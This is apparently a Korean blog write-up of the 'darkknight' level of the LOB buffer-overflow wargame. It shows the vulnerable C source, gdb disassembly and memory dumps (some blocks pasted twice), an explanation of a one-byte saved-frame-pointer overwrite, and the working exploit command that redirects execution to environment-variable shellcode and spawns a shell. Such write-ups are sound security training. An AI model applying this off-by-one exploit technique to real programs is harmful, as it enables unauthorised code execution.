일단 소스를 보면,
[golem@localhost golem]$ cat darkknight.c
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
힌트로 위에 FPO가 나와있는데 "stack Frame Pointer Operation"의 약자인 것 같다. (SFPO가 아니네요 ㅋㅋ)
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
이 부분은 함수 프롤로그 부분인데
예전 함수의 ebp를 백업하는 부분이다.
지금은 main함수 안에서 problem_child라는 함수 안으로 들어와 있는데, 함수가 종료할 때, 이전 함수의 Base Pointer를 찾아가기 위해서이다.
조작된 sfp를 갖고 나와서
leave ret이 진행 되므로
mov %ebp,%esp
pop %ebp
를 수행한다.
즉 ebp를 esp가 가리키는 곳에 넣는다. 그리고 그 ebp를 pop하면서 esp+4가 된다.
따라서 sfp가 가리키는곳의 +4가 main함수의 return address인 것이다.
problem_child함수의 ebp(main함수 관점에서 sfp)+4는 main함수의 return address이다.
따라서 여기서는 strncpy함수로 인해서 sfp의 단 1바이트만을 조작할 수 있다.
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
0x8048443 <problem_child+3>: sub $0x28,%esp
0x8048446 <problem_child+6>: push $0x29
0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add $0xc,%esp
0x8048458 <problem_child+24>: lea 0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push $0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add $0x8,%esp
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb) Quit
(gdb) b *problem_child+38
Breakpoint 2 at 0x8048466
(gdb) r `perl -e 'print "A"x40'`
Starting program: /home/golem/tmp/darkknight `perl -e 'print "A"x40'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x8048466 in problem_child ()
(gdb) x/100x $ebp
0xbffff9ac: 0xbffff900 0x0804849e 0xbffffb2f 0xbffff9d8
0xbffff9bc: 0x400309cb 0x00000002 0xbffffa04 0xbffffa10
0xbffff9cc: 0x40013868 0x00000002 0x08048390 0x00000000
0xbffff9dc: 0x080483b1 0x0804846c 0x00000002 0xbffffa04
0xbffff9ec: 0x080482e4 0x080484dc 0x4000ae60 0xbffff9fc
0xbffff9fc: 0x40013e90 0x00000002 0xbffffb14 0xbffffb2f
0xbffffa0c: 0x00000000 0xbffffb58 0xbffffb7a 0xbffffb84
0xbffffa1c: 0xbffffb92 0xbffffbb1 0xbffffbbf 0xbffffbd8
0xbffffa2c: 0xbffffbf3 0xbffffc12 0xbffffc1d 0xbffffc2b
0xbffffa3c: 0xbffffc6c 0xbffffc7f 0xbffffc90 0xbffffca5
0xbffffa4c: 0xbffffcae 0xbffffcbe 0xbffffcc9 0xbffffdbd
0xbffffa5c: 0xbffffdda 0xbffffde6 0xbffffdf1 0xbffffe02
0xbffffa6c: 0xbffffe16 0xbffffe1e 0x00000000 0x00000003
0xbffffa7c: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffa8c: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffa9c: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffaac: 0x08048390 0x0000000b 0x000001ff 0x0000000c
0xbffffabc: 0x000001ff 0x0000000d 0x000001ff 0x0000000e
0xbffffacc: 0x000001ff 0x00000010 0x0febfbff 0x0000000f
0xbffffadc: 0xbffffb0f 0x00000000 0x00000000 0x00000000
0xbffffaec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffafc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb0c: 0x69000000 0x00363836 0x6d6f682f 0x6f672f65
0xbffffb1c: 0x2f6d656c 0x2f706d74 0x6b726164 0x67696e6b
0xbffffb2c: 0x41007468 0x41414141 0x41414141 0x41414141
(gdb)
0xbffffb3c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb4c: 0x41414141 0x41414141 0x00414141 0x5353454c
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
0x8048443 <problem_child+3>: sub $0x28,%esp
0x8048446 <problem_child+6>: push $0x29
0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add $0xc,%esp
0x8048458 <problem_child+24>: lea 0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push $0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add $0x8,%esp
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb) Quit
(gdb) b *problem_child+38
Breakpoint 2 at 0x8048466
(gdb) r `perl -e 'print "A"x40'`
Starting program: /home/golem/tmp/darkknight `perl -e 'print "A"x40'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x8048466 in problem_child ()
(gdb) x/100x $ebp
0xbffff9ac: 0xbffff900 0x0804849e 0xbffffb2f 0xbffff9d8
0xbffff9bc: 0x400309cb 0x00000002 0xbffffa04 0xbffffa10
0xbffff9cc: 0x40013868 0x00000002 0x08048390 0x00000000
0xbffff9dc: 0x080483b1 0x0804846c 0x00000002 0xbffffa04
0xbffff9ec: 0x080482e4 0x080484dc 0x4000ae60 0xbffff9fc
0xbffff9fc: 0x40013e90 0x00000002 0xbffffb14 0xbffffb2f
0xbffffa0c: 0x00000000 0xbffffb58 0xbffffb7a 0xbffffb84
0xbffffa1c: 0xbffffb92 0xbffffbb1 0xbffffbbf 0xbffffbd8
0xbffffa2c: 0xbffffbf3 0xbffffc12 0xbffffc1d 0xbffffc2b
0xbffffa3c: 0xbffffc6c 0xbffffc7f 0xbffffc90 0xbffffca5
0xbffffa4c: 0xbffffcae 0xbffffcbe 0xbffffcc9 0xbffffdbd
0xbffffa5c: 0xbffffdda 0xbffffde6 0xbffffdf1 0xbffffe02
0xbffffa6c: 0xbffffe16 0xbffffe1e 0x00000000 0x00000003
0xbffffa7c: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffa8c: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffa9c: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffaac: 0x08048390 0x0000000b 0x000001ff 0x0000000c
0xbffffabc: 0x000001ff 0x0000000d 0x000001ff 0x0000000e
0xbffffacc: 0x000001ff 0x00000010 0x0febfbff 0x0000000f
0xbffffadc: 0xbffffb0f 0x00000000 0x00000000 0x00000000
0xbffffaec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffafc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb0c: 0x69000000 0x00363836 0x6d6f682f 0x6f672f65
0xbffffb1c: 0x2f6d656c 0x2f706d74 0x6b726164 0x67696e6b
0xbffffb2c: 0x41007468 0x41414141 0x41414141 0x41414141
(gdb)
0xbffffb3c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb4c: 0x41414141 0x41414141 0x00414141 0x5353454c
현재 공격자가 입력한 데이터가 0xbfffb~~ 쯤에 들어가는 것을 볼 수가 있다.
SFP를 1바이트 조작할 수 있으니, 공격자가 입력한 데이터를 가리키는 주소 값들이 위치한 주소로 overwrite하면 된다.
현재 ebp는 0xbffff9~~ 대 이니까, 0xbffff900 ~ 0xbffff9ff 까지 조작 할 수 있다.
(gdb) x/100x $ebp-200
0xbffff8e4: 0x4001ad70 0x400143e0 0x00000003 0x40014650
0xbffff8f4: 0x00000001 0xbffff910 0x08048170 0x400140d4
0xbffff904: 0x078e530f 0xbffff98c 0xbffff944 0x4000a7fd
0xbffff914: 0x400143d0 0x400146b0 0x00000007 0x4000a74e
0xbffff924: 0x401081ec 0x4000ae60 0xbffffa04 0x400143e0
0xbffff934: 0x40021df0 0x401088c0 0x4002982c 0x40021df0
0xbffff944: 0xbffff974 0x4000a970 0xbffffb58 0xbffff9ac
0xbffff954: 0x4005d920 0x400143e0 0xbffff974 0x40066070
0xbffff964: 0x40106980 0x08048500 0xbffff984 0x401081ec
0xbffff974: 0xbffff9ac 0x08048466 0x08048500 0xbffff984
0xbffff984: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff994: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a4: 0x41414141 0x41414141 0xbffff900 0x0804849e
0xbffff9b4: 0xbffffb2f 0xbffff9d8 0x400309cb 0x00000002
0xbffff9c4: 0xbffffa04 0xbffffa10 0x40013868 0x00000002
0xbffff9d4: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffff9e4: 0x00000002 0xbffffa04 0x080482e4 0x080484dc
0xbffff9f4: 0x4000ae60 0xbffff9fc 0x40013e90 0x00000002
0xbffffa04: 0xbffffb14 0xbffffb2f 0x00000000 0xbffffb58
0xbffffa14: 0xbffffb7a 0xbffffb84 0xbffffb92 0xbffffbb1
0xbffffa24: 0xbffffbbf 0xbffffbd8 0xbffffbf3 0xbffffc12
0xbffffa34: 0xbffffc1d 0xbffffc2b 0xbffffc6c 0xbffffc7f
0xbffffa44: 0xbffffc90 0xbffffca5 0xbffffcae 0xbffffcbe
0xbffffa54: 0xbffffcc9 0xbffffdbd 0xbffffdda 0xbffffde6
0xbffffa64: 0xbffffdf1 0xbffffe02 0xbffffe16 0xbffffe1e
(gdb)
0xbffff8e4: 0x4001ad70 0x400143e0 0x00000003 0x40014650
0xbffff8f4: 0x00000001 0xbffff910 0x08048170 0x400140d4
0xbffff904: 0x078e530f 0xbffff98c 0xbffff944 0x4000a7fd
0xbffff914: 0x400143d0 0x400146b0 0x00000007 0x4000a74e
0xbffff924: 0x401081ec 0x4000ae60 0xbffffa04 0x400143e0
0xbffff934: 0x40021df0 0x401088c0 0x4002982c 0x40021df0
0xbffff944: 0xbffff974 0x4000a970 0xbffffb58 0xbffff9ac
0xbffff954: 0x4005d920 0x400143e0 0xbffff974 0x40066070
0xbffff964: 0x40106980 0x08048500 0xbffff984 0x401081ec
0xbffff974: 0xbffff9ac 0x08048466 0x08048500 0xbffff984
0xbffff984: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff994: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a4: 0x41414141 0x41414141 0xbffff900 0x0804849e
0xbffff9b4: 0xbffffb2f 0xbffff9d8 0x400309cb 0x00000002
0xbffff9c4: 0xbffffa04 0xbffffa10 0x40013868 0x00000002
0xbffff9d4: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffff9e4: 0x00000002 0xbffffa04 0x080482e4 0x080484dc
0xbffff9f4: 0x4000ae60 0xbffff9fc 0x40013e90 0x00000002
0xbffffa04: 0xbffffb14 0xbffffb2f 0x00000000 0xbffffb58
0xbffffa14: 0xbffffb7a 0xbffffb84 0xbffffb92 0xbffffbb1
0xbffffa24: 0xbffffbbf 0xbffffbd8 0xbffffbf3 0xbffffc12
0xbffffa34: 0xbffffc1d 0xbffffc2b 0xbffffc6c 0xbffffc7f
0xbffffa44: 0xbffffc90 0xbffffca5 0xbffffcae 0xbffffcbe
0xbffffa54: 0xbffffcc9 0xbffffdbd 0xbffffdda 0xbffffde6
0xbffffa64: 0xbffffdf1 0xbffffe02 0xbffffe16 0xbffffe1e
(gdb)
빨간색으로 칠해져 있는 부분이 입력한 데이터 값이다.
저곳에 0x41414141 이런 문자들 말고, 쉘코드를 넣은 환경변수의 주소를 10개정도 넣은 뒤 맨 마지막 한 바이트를 84(여기서는 84)로 overwrite해주면 된다.
[golem@localhost golem]$ ./darkknight `perl -e 'print "\xd1\xfd\xff\xbf"x10,"\xa4"'`
Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿Nyy¿¤uy¿ž-uy¿euy¿E @
bash$ my-pass
euid = 512
new attacker
bash$
'Wargame > LOB (Redhat9)' 카테고리의 다른 글
bugbear -> giant (0) | 2014.02.20 |
---|---|
darkknight -> bugbear (0) | 2014.02.20 |
skeleton -> golem (0) | 2014.02.20 |
vampire -> skeleton (0) | 2014.02.20 |
troll -> vampire (0) | 2014.02.20 |